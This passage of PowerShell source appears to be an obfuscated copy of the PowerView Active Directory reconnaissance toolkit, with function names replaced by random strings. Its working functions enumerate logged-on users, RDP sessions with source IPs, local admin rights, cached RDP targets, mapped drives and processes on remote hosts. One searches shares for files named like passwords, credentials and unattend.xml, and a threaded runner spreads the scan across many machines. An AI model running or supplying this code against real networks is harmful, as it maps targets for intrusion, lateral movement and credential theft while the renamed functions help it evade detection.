[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.RegLoggedOnUser')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost' | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
try { | |
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") | |
$Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { | |
$UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' | |
if ($UserName) { | |
$UserName, $UserDomain = $UserName.Split('@') | |
} | |
else { | |
$UserName = $_ | |
$UserDomain = $Null | |
} | |
$RegLoggedOnUser = New-Object PSObject | |
$RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" | |
$RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain | |
$RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName | |
$RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ | |
$RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') | |
$RegLoggedOnUser | |
} | |
} | |
catch { | |
Write-Verbose "[G33P5TU0] Error opening remote registry on '$ComputerName' : $_" | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function X123INWO { | |
[OutputType('PowerView.RDPSessionInfo')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$Handle = $Wtsapi32::WTSOpenServerEx($Computer) | |
if ($Handle -ne 0) { | |
$ppSessionInfo = [IntPtr]::Zero | |
$pCount = 0 | |
$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
$Offset = $ppSessionInfo.ToInt64() | |
if (($Result -ne 0) -and ($Offset -gt 0)) { | |
$Increment = $WTS_SESSION_INFO_1::GetSize() | |
for ($i = 0; ($i -lt $pCount); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $WTS_SESSION_INFO_1 | |
$RDPSession = New-Object PSObject | |
if ($Info.pHostName) { | |
$RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName | |
} | |
else { | |
$RDPSession | Add-Member Noteproperty 'ComputerName' $Computer | |
} | |
$RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName | |
if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { | |
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" | |
} | |
else { | |
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" | |
} | |
$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID | |
$RDPSession | Add-Member Noteproperty 'State' $Info.State | |
$ppBuffer = [IntPtr]::Zero | |
$pBytesReturned = 0 | |
$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if ($Result2 -eq 0) { | |
Write-Verbose "[X123INWO] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" | |
} | |
else { | |
$Offset2 = $ppBuffer.ToInt64() | |
$NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 | |
$Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS | |
$SourceIP = $Info2.Address | |
if ($SourceIP[2] -ne 0) { | |
$SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] | |
} | |
else { | |
$SourceIP = $Null | |
} | |
$RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP | |
$RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') | |
$RDPSession | |
$Null = $Wtsapi32::WTSFreeMemory($ppBuffer) | |
$Offset += $Increment | |
} | |
} | |
$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) | |
} | |
else { | |
Write-Verbose "[X123INWO] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
$Null = $Wtsapi32::WTSCloseServer($Handle) | |
} | |
else { | |
Write-Verbose "[X123INWO] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function DTR4S3F8 { | |
[OutputType('PowerView.AdminAccess')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
$IsAdmin = New-Object PSObject | |
$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer | |
if ($Handle -ne 0) { | |
$Null = $Advapi32::CloseServiceHandle($Handle) | |
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True | |
} | |
else { | |
Write-Verbose "[DTR4S3F8] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False | |
} | |
$IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') | |
$IsAdmin | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function THXCYPQU { | |
[OutputType('PowerView.ComputerSite')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { | |
$IPAddress = $Computer | |
$Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName | |
} | |
else { | |
$IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress | |
} | |
$PtrInfo = [IntPtr]::Zero | |
$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) | |
$ComputerSite = New-Object PSObject | |
$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer | |
$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress | |
if ($Result -eq 0) { | |
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) | |
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename | |
} | |
else { | |
Write-Verbose "[THXCYPQU] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
$ComputerSite | Add-Member Noteproperty 'SiteName' '' | |
} | |
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
$ComputerSite | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Get-WMIRegProxy { | |
[OutputType('PowerView.ProxySettings')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
try { | |
$WmiArguments = @{ | |
'List' = $True | |
'Class' = 'StdRegProv' | |
'Namespace' = 'root\default' | |
'Computername' = $Computer | |
'ErrorAction' = 'Stop' | |
} | |
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } | |
$RegProvider = Get-WmiObject @WmiArguments | |
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' | |
$HKCU = 2147483649 | |
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue | |
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue | |
$Wpad = '' | |
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { | |
try { | |
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) | |
} | |
catch { | |
Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" | |
} | |
} | |
if ($ProxyServer -or $AutoConfigUrl) { | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'ComputerName' $Computer | |
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer | |
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL | |
$Out | Add-Member Noteproperty 'Wpad' $Wpad | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') | |
$Out | |
} | |
else { | |
Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" | |
} | |
} | |
catch { | |
Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" | |
} | |
} | |
} | |
} | |
function Get-WMIRegLastLoggedOn { | |
[OutputType('PowerView.LastLoggedOnUser')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$HKLM = 2147483650 | |
$WmiArguments = @{ | |
'List' = $True | |
'Class' = 'StdRegProv' | |
'Namespace' = 'root\default' | |
'Computername' = $Computer | |
'ErrorAction' = 'SilentlyContinue' | |
} | |
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } | |
try { | |
$Reg = Get-WmiObject @WmiArguments | |
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' | |
$Value = 'LastLoggedOnUser' | |
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue | |
$LastLoggedOn = New-Object PSObject | |
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer | |
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser | |
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') | |
$LastLoggedOn | |
} | |
catch { | |
Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." | |
} | |
} | |
} | |
} | |
function Get-WMIRegCachedRDPConnection { | |
[OutputType('PowerView.CachedRDPConnection')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$HKU = 2147483651 | |
$WmiArguments = @{ | |
'List' = $True | |
'Class' = 'StdRegProv' | |
'Namespace' = 'root\default' | |
'Computername' = $Computer | |
'ErrorAction' = 'Stop' | |
} | |
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } | |
try { | |
$Reg = Get-WmiObject @WmiArguments | |
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | |
ForEach ($UserSID in $UserSIDs) { | |
try { | |
if ($PSBoundParameters['Credential']) { | |
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential | |
} | |
else { | |
$UserName = ConvertFrom-SID -ObjectSid $UserSID | |
} | |
$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames | |
ForEach ($Connection in $ConnectionKeys) { | |
if ($Connection -match 'MRU.*') { | |
$TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue | |
$FoundConnection = New-Object PSObject | |
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer | |
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName | |
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID | |
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer | |
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null | |
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') | |
$FoundConnection | |
} | |
} | |
$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames | |
ForEach ($Server in $ServerKeys) { | |
$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue | |
$FoundConnection = New-Object PSObject | |
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer | |
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName | |
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID | |
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server | |
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint | |
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') | |
$FoundConnection | |
} | |
} | |
catch { | |
Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" | |
} | |
} | |
} | |
catch { | |
Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" | |
} | |
} | |
} | |
} | |
function Get-WMIRegMountedDrive { | |
[OutputType('PowerView.RegMountedDrive')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
$HKU = 2147483651 | |
$WmiArguments = @{ | |
'List' = $True | |
'Class' = 'StdRegProv' | |
'Namespace' = 'root\default' | |
'Computername' = $Computer | |
'ErrorAction' = 'Stop' | |
} | |
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } | |
try { | |
$Reg = Get-WmiObject @WmiArguments | |
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | |
ForEach ($UserSID in $UserSIDs) { | |
try { | |
if ($PSBoundParameters['Credential']) { | |
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential | |
} | |
else { | |
$UserName = ConvertFrom-SID -ObjectSid $UserSID | |
} | |
$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames | |
ForEach ($DriveLetter in $DriveLetters) { | |
$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue | |
$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue | |
$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue | |
if (-not $UserName) { $UserName = '' } | |
if ($RemotePath -and ($RemotePath -ne '')) { | |
$MountedDrive = New-Object PSObject | |
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer | |
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName | |
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID | |
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter | |
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName | |
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath | |
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName | |
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') | |
$MountedDrive | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" | |
} | |
} | |
} | |
catch { | |
Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" | |
} | |
} | |
} | |
} | |
function Get-WMIProcess { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.UserProcess')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = 'localhost', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
try { | |
$WmiArguments = @{ | |
'ComputerName' = $ComputerName | |
'Class' = 'Win32_process' | |
} | |
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } | |
Get-WMIobject @WmiArguments | ForEach-Object { | |
$Owner = $_.getowner(); | |
$Process = New-Object PSObject | |
$Process | Add-Member Noteproperty 'ComputerName' $Computer | |
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName | |
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID | |
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain | |
$Process | Add-Member Noteproperty 'User' $Owner.User | |
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') | |
$Process | |
} | |
} | |
catch { | |
Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" | |
} | |
} | |
} | |
} | |
function GL196UE0 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.FoundFile')] | |
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Path = '.\', | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('SearchTerms', 'Terms')] | |
[String[]] | |
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$LastAccessTime, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$LastWriteTime, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$CreationTime, | |
[Parameter(ParameterSetName = 'OfficeDocs')] | |
[Switch] | |
$OfficeDocs, | |
[Parameter(ParameterSetName = 'FreshEXEs')] | |
[Switch] | |
$FreshEXEs, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[Switch] | |
$ExcludeFolders, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[Switch] | |
$ExcludeHidden, | |
[Switch] | |
$CheckWriteAccess, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Recurse' = $True | |
'ErrorAction' = 'SilentlyContinue' | |
'Include' = $Include | |
} | |
if ($PSBoundParameters['OfficeDocs']) { | |
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') | |
} | |
elseif ($PSBoundParameters['FreshEXEs']) { | |
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') | |
$SearcherArguments['Include'] = @('*.exe') | |
} | |
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] | |
$MappedComputers = @{} | |
function Test-Write { | |
[CmdletBinding()]Param([String]$Path) | |
try { | |
$Filetest = [IO.File]::OpenWrite($Path) | |
$Filetest.Close() | |
$True | |
} | |
catch { | |
$False | |
} | |
} | |
} | |
PROCESS { | |
ForEach ($TargetPath in $Path) { | |
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$HostComputer = (New-Object System.Uri($TargetPath)).Host | |
if (-not $MappedComputers[$HostComputer]) { | |
CFRACMAT -ComputerName $HostComputer -Credential $Credential | |
$MappedComputers[$HostComputer] = $True | |
} | |
} | |
$SearcherArguments['Path'] = $TargetPath | |
Get-ChildItem @SearcherArguments | ForEach-Object { | |
$Continue = $True | |
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { | |
Write-Verbose "Excluding: $($_.FullName)" | |
$Continue = $False | |
} | |
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { | |
$Continue = $False | |
} | |
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { | |
$Continue = $False | |
} | |
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { | |
$Continue = $False | |
} | |
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { | |
$Continue = $False | |
} | |
if ($Continue) { | |
$FileParams = @{ | |
'Path' = $_.FullName | |
'Owner' = $((Get-Acl $_.FullName).Owner) | |
'LastAccessTime' = $_.LastAccessTime | |
'LastWriteTime' = $_.LastWriteTime | |
'CreationTime' = $_.CreationTime | |
'Length' = $_.Length | |
} | |
$FoundFile = New-Object -TypeName PSObject -Property $FileParams | |
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') | |
$FoundFile | |
} | |
} | |
} | |
} | |
END { | |
$MappedComputers.Keys | P4Y3VQQR | |
} | |
} | |
function BAUXSI0N { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 1, Mandatory = $True)] | |
[System.Management.Automation.ScriptBlock] | |
$ScriptBlock, | |
[Parameter(Position = 2)] | |
[Hashtable] | |
$ScriptParameters, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20, | |
[Switch] | |
$NoImports | |
) | |
BEGIN { | |
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() | |
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA | |
if (-not $NoImports) { | |
$MyVars = Get-Variable -Scope 2 | |
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') | |
ForEach ($Var in $MyVars) { | |
if ($VorbiddenVars -NotContains $Var.Name) { | |
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) | |
} | |
} | |
ForEach ($Function in (Get-ChildItem Function:)) { | |
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) | |
} | |
} | |
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) | |
$Pool.Open() | |
$Method = $Null | |
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { | |
$MethodParameters = $M.GetParameters() | |
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { | |
$Method = $M.MakeGenericMethod([Object], [Object]) | |
break | |
} | |
} | |
$Jobs = @() | |
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} | |
Write-Verbose "[BAUXSI0N] Total number of hosts: $($ComputerName.count)" | |
if ($Threads -ge $ComputerName.Length) { | |
$Threads = $ComputerName.Length | |
} | |
$ElementSplitSize = [Int]($ComputerName.Length/$Threads) | |
$ComputerNamePartitioned = @() | |
$Start = 0 | |
$End = $ElementSplitSize | |
for($i = 1; $i -le $Threads; $i++) { | |
$List = New-Object System.Collections.ArrayList | |
if ($i -eq $Threads) { | |
$End = $ComputerName.Length | |
} | |
$List.AddRange($ComputerName[$Start..($End-1)]) | |
$Start += $ElementSplitSize | |
$End += $ElementSplitSize | |
$ComputerNamePartitioned += @(,@($List.ToArray())) | |
} | |
Write-Verbose "[BAUXSI0N] Total number of threads/partitions: $Threads" | |
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { | |
$PowerShell = [PowerShell]::Create() | |
$PowerShell.runspacepool = $Pool | |
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) | |
if ($ScriptParameters) { | |
ForEach ($Param in $ScriptParameters.GetEnumerator()) { | |
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value) | |
} | |
} | |
$Output = New-Object Management.Automation.PSDataCollection[Object] | |
$Jobs += @{ | |
PS = $PowerShell | |
Output = $Output | |
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) | |
} | |
} | |
} | |
END { | |
Write-Verbose "[BAUXSI0N] Threads executing" | |
Do { | |
ForEach ($Job in $Jobs) { | |
$Job.Output.ReadAll() | |
} | |
Start-Sleep -Seconds 1 | |
} | |
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) | |
$SleepSeconds = 100 | |
Write-Verbose "[BAUXSI0N] Waiting $SleepSeconds seconds for final cleanup..." | |
for ($i=0; $i -lt $SleepSeconds; $i++) { | |
ForEach ($Job in $Jobs) { | |
$Job.Output.ReadAll() | |
$Job.PS.Dispose() | |
} | |
Start-Sleep -S 1 | |
} | |
$Pool.Dispose() | |
Write-Verbose "[BAUXSI0N] all threads completed" | |
} | |
} | |
function ZMP1P4RM { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.UserLocation')] | |
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[Alias('Unconstrained')] | |
[Switch] | |
$ComputerUnconstrained, | |
[ValidateNotNullOrEmpty()] | |
